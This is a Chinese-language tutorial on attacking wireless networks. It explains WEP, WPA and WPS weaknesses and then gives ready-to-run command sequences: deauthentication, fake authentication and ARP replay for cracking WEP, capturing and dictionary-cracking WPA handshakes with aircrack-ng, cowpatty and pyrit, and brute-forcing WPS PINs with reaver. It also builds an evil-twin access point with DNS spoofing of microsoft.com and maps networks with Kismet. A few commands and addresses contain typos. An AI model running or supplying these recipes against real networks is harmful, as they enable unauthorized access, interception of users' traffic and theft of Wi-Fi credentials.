open無加密網絡
- 無任何加密機制
- 所有數據都可以被嗅探到
- STA和AP只協商拼配參數即可連入網絡
無線如何不加任何加密機制的話,安全性太差。即使不對你進行嗅探也可以對你進行中間人攻擊、地址欺騙等方式
無線安全根源
- 802.11是基於無線電波發射信息
- 嗅探偵聽是主要問題
- 加密機制是必要手段
Wired Equivalent Privacy(WEP):有線等效加密 802.11標准的一部分,發布后不久被發現存在安全漏洞
WIFI Protected Access(WPA)取代WEP:802.11i標准
1、WEP攻擊
wep是共享密鑰的wlan加密方式,這種加密機制及密碼算法上面是存在先天的漏洞和問題的;比較容易破解,安全性不高,簡直就可以說徹底不安全!現在幾乎已經被WPA的加密方式取代。但還是了解一下啊
使用RC4對稱加密算法(加解密用一個密鑰)加密流量內容、CRC32算法檢查數據的完整性。
標准采用使用24位initialization vector(IV起始向量)
- 加密:對明文流和密鑰流記性XOR(二進制異或)計算
- 解密:對密文流和密鑰流進行XOR計算
RC4算法加密流程:
24位IV值隨機數+無線密碼結合利用KSA算法生成一個初始的狀態表、再通過PRGA算法生成一個密鑰流;數據流是由數據和完整校驗算法CRC32生成ICV(起始check value),數據流與密鑰流一位對一位,然后異或運算生成密文消息 ,加上IV和keyid 包頭信息。
RC4解密流程:
從包中直接拿到IV值,根據key id提取key內容組合用KSA和PRDA算法生成密鑰流,再和密文流取異或生成原數據,再生成CRC32校驗。
wep共享密鑰破解
- IV並非完全隨機
- 每224個包可能會出現一次IV重用
- 收集大量IV之后找出相同IV及其對應密文,比對分析得出共享密碼
因為ARP回包中包含IV,所以IV足夠多的情況下,任何復雜程度的wep密碼都可以被破解
監聽抓到加密前的明文chellege和這個明文加密后的密文 ,有這兩個東西就可以進行二進制亦或計算,得到密鑰流(xor),當然這個密鑰流是以密文存在,有這個就可以與AP建立關聯。
只有建立關聯才能進行收集ARP注入。
-攻擊:
-抓包-- airodump-ng -c 11 --bssid AP_MAC wlan0mon -w CMCC-free 抓的IVZ值在#date顯示 --主動抓包:打斷--適用於有有效客戶端在線的情況 假如都已連接無新的連接,就打斷現有連接(Deauthentication),重連時竊取 aireplay -0 10 -a AP_MAC -c Client_MAC wlan0mon -0:Deauthentication 10:打斷數目,當為0時則沖突攻擊,迫使客戶端不斷下線
-c:后接指定客戶端MAC,不設置默認AP所有客戶端打掉
每攻擊發送128個包,64個給AP,64個給客戶端 --偽造身份認證進行關聯--適用於無有效客戶端在線 areplay-ng -1 60 -e CMCC-FREE -y wep-01-EC-ER-FF-2E-3F.xor -a EC:DE:23:4R:5T:12 -h 1Q:2W:3E:4R:4T:1D wlan0mon -1:第一種攻擊方式 60:是每60秒攻擊一次 -e:目標AP -y:密鑰流(用以產生關聯) -a:AP的MAC地址 -h:黑客的mac地址 --執行ARP重放-- aireplay-ng -3 -b AP_MAC -h hacker_mac wlan0mon 此處也可打斷,出arp 要等#Date至少10萬20萬 (大概10分鍾),一邊抓一遍分析嘗試破解
64bit密鑰:25萬
128bit密鑰:150萬 --嘗試解密-- aircrack-ng CMCC-FREE-01.cap 很快就得到結果~
-1攻擊
之前我一直也沒弄明白為什么能夠進行偽連接,既然我們並不知道WEP密碼,那么如何進行連接?偽連接的偽主要體現在什么地方?這個應該是和AP的工作機制有關.我自己的理解是,在客戶端與AP通信的時候,客戶端需要在AP那里登記自己的MAC地址,這樣AP才會接受這個MAC地址的網卡產生的數據包進行下一步的工作.一般WEP驗證過程為:
1.客戶端發給AP認證請求
2.AP發回挑戰字串
3.客戶端利用WEP密碼加密字串返回給AP
4.AP對返回結果進行本地匹配判斷是否通過認證. 偽連接實際上就是進行了第1步,此后AP就登記了客戶端的MAC地址,此時AP等待的是客戶端返回挑戰字串的加密包,對於攻擊者,此時AP已經能夠接受各種偽裝生成的數據包並對其作出反應了.這一步對於無客戶端的-2,-4,-5攻擊相當重要.很明顯,這樣偽連接並不產生任何ARP包,同時也不會獲得正確的WPA/WPA2握手包.
注意事項:
WPA\WPA2 不支持 Fake authentication
二、WPA攻擊
WiFi-Protected Access
802.11i組為提高無線安全,開發了兩個新的鏈路層加密協議:
- Temporal Key Integrity Protocol(TKIP)----wpa1(較之wep可動態改變密鑰)
- Counter Mode with CBC-MAC(CCMP---wpa2
WPA加密兩種安全類型
- WPA個人:使用預設共享密鑰實現身份驗證
- WPA2企業:使用802.1x和Radius服務器實現AAA
不是說算法強大就使用弱密碼。
WPA1與WPA2比較
#Temporal Key Integrity Protocol (TKIP) 4
#Counter Mode with CBC-MAC (CCMP) 5
密鑰交換:
無線網路設計用於一組無線設備通信
- 關聯到同一AP的設備共享無線信道
- 單播、廣播、組播
- 安全特性要求不同
- 單播通信需要單獨密鑰加密通信雙方流量:pairwise key-對偶密鑰(PTK)
- 組播通信需要信任域內所有成員共享的同一密鑰:Group key-組密鑰(GTK)
只有一種密碼破解的方法:wpa不存在wep的弱點
- CPU\GPU資源
- 時間
- 字典質量
- 網上共享的
- 泄露密碼
- 區號、手機號段、生日、百家姓、名人
- 工具自制字典
PSK破解過程
- 啟動monitor
- 開始抓包並保存
- Deauthentication 攻擊獲取4步握手信息
- 使用字典暴力破解
#抓包 airodump-ng -c 11 --bssid AP_MAC wlan0mon -w CMCC-free #打斷重連 aireplay -0 2 -a AP_MAC -c Client_MAC wlan0mon #跑包 aircrack-ng -w /user/share/wordlists/zidian.txt CMCC-free.cap
重中之中-關鍵就是跑包就是看字典強不強大~
幾種其他字典破解工具自行參考:
- airolib
- JTR
- cowpatty
- pyrit
cowpatty破解密碼
使用密碼字典(普通)cowpatty -r wpa.cap -f password.lst -s kifi
使用彩虹表(PMK)
- genpmk -f password.lst -d pmkhash(名稱隨意) -s kifi
- cowpatty -r wpa.cap -d pmkhash -s kifi
所以這個優勢在於基於AP名先生成hash,再用cowpatty破解速度極快了,適用於不該AP名老更換密碼的wifi密碼破解。
Pyrit破解密碼
與airolib、cowpatty相同,支持基於預計算的PMK提高破解速度
獨有優勢:
- 出CPU還可利用GPU算法加速生成PMK
- 本身支持抓包,無需airodump抓包
- 也支持傳統的讀取airodump抓包獲取四步握手的方式
只抓取wpa四次握手過程包
- pyrit -r wlan0mon -o wpapyrit.cap stripLive
- pyrit -r wpapyrit.cap analyze
從airodump抓包導入並篩選
- pyrit -r wpa.cap -o wpaprit.cap strip
使用密碼字典直接破解:
- pyrit -r wpapyrit.cap -i password.lst -b <AP MAC> attack passthrough
數據庫模式破解:
- 默認使用基於文件的數據庫,支持連接SQL,將計算的PMK存入數據庫
- 查看默認數據庫狀態:pyrit eval
- 導入密碼字典:pyrit -i password.lst import passwords (剔除了不合格的密碼)
- 指定ESSID:pyrit -e kifi create essid
- 計算PMK: pyrit batch (發揮GPU計算能力)
- 破解密碼: pyrit -r wpaprit.cap -b <AP MAC> attack.db
還可以拷貝到WINDOWS下使用EWSA:
傳送門:軟件雲盤鏈接:https://pan.baidu.com/s/1_If_fkefIIVzfncLP5kU8Q
提取碼:u7hg
還有一種攻擊場景是【無AP情況下的WPA密碼破解】
偽造一個AP, pmk=essid+PSK,只用4步握手中的前兩步就行!
有些雞肋,還要跟蹤人家到真實的物理環境去。
airbase-ng 可用你的無線網卡創造一個AP出來
airbase-ng --essid KFC -c 11 wlan0mon #open airbase-ng --essid KFC -c 11 -w key wlan0mon #wep airbase-ng --essid KFC -c 11 -z 2 wlan0mon #wpa1 airbase-ng --essid KFC -c 11 -Z 4 wlan0mon #wpa2
這樣會在你的系統生成一個at0的網卡
三、WPS攻擊
wps(wireless protected setup)
- 是WIFI聯盟2006年開發的一項技術
- 通過PIN碼來簡化無線接入操作,無需記住PSK
- 路由器和網卡各按一個按鈕就能接入無線
- PIN碼是分為前后各4位的2段共8位數字
- 安全漏洞
- 2011年被發現安全漏洞
- 接入發起方可以根據路由器的返回信息判斷前4位是否正確
- 而PIN碼的后4位只有1000種定義的組合(最后一位是檢驗值checksum)
- 所以全部窮舉破解只需要11000次嘗試(15~20個小時)
- 標准本身沒有設計鎖定機制,目前多個廠商已實現鎖定機制
只要你的路由器支持WPS,即使沒有客戶端在使用這個wps,攻擊者也可以利用pin出來。
本來旨在提高安全和便利性,反而降低了安全成了大的隱患。
拿到PIN-->PSK 就是一操作很快就出來。
早期的PIN碼更弱智,有的路由器廠商直接用網卡MAC前6位轉換為16進制就是PIN碼.....(如C83A35\00B00C),現在已經沒了。
攻擊過程:
#啟動偵聽后掃描帶WPS功能的AP:
wash -C -i wlan0mon airodump-ng wlan0mon --wps #爆破PIN碼 reaver -i wlan0mon -b <AP mac> -c <channel> -vv #秒破PIN碼 reaver -i wlan0mon -b <AP mac> -vv -K 1 pixiewps 只適用於固定廠商的芯片,成功率極低 #當出來PIN碼以后... reaver -i wlan0mon -b <AP mac> -vv -p 12345678
#注意 現在幾乎帶WPS的廠商都實現了鎖定機制,所有在窮舉PIN碼時應注意限速,所以-reaver會10次一停。
#牛刀小試-綜合自動化無線密碼破解工具 wifite
四、偽造雙胞胎AP
攻擊流程:
#偽造假AP
airbase-ng -a <AP mac可選> -c 11 --essid KFC-FREE wlan0mon #此時ifconfig -a 會發現多了一個網卡 at0 #設置網橋,ip地址要給網橋 apt-get install bridge-utils brctl addbr bridge //delbr brctl addif bridge eth0 brctl addif bridge at0 ifconfig eth0 0.0.0.0 up ifconfig at0 0.0.0.0 up ifconfig bridge 192.168.1.10 up #增加路由,或者配置個DHCP服務
netstat -nr route add -net 0.0.0.0 netmask 0.0.0.0 gw 192.168.1.1
#啟動ip轉發
echo 1 > /proc/sys/net/ipv4/ip_forward
#dns欺騙
dnsspoof -i bridge -f dnsspoof.hosts
192.168.1.10 *.microsoft.com(欺騙網址)
#開啟apache服務
apache2ctl start
五、無線偵查-kismet
一個集成化的探測周圍AP並嘗試破解並標記在谷歌地圖上的工具。
(開發者已停止更新維護)
- KISmet
- kismet*.nettxt
kismet*.pcapdump gpsd -n -N -D4 /dev/ttyUSB0 giskismet -x Kismet-*.netxml giskismet -q "select * from wireless" -o gps.kml
需要購買一個USB無線模塊
安裝谷歌地球:
http://dl.goole.com/dl/earth/client/current/google-earth-stable_current_amd64.deb dpkg -i google-earth64.deb apt-get -f install
導入kml文件就可。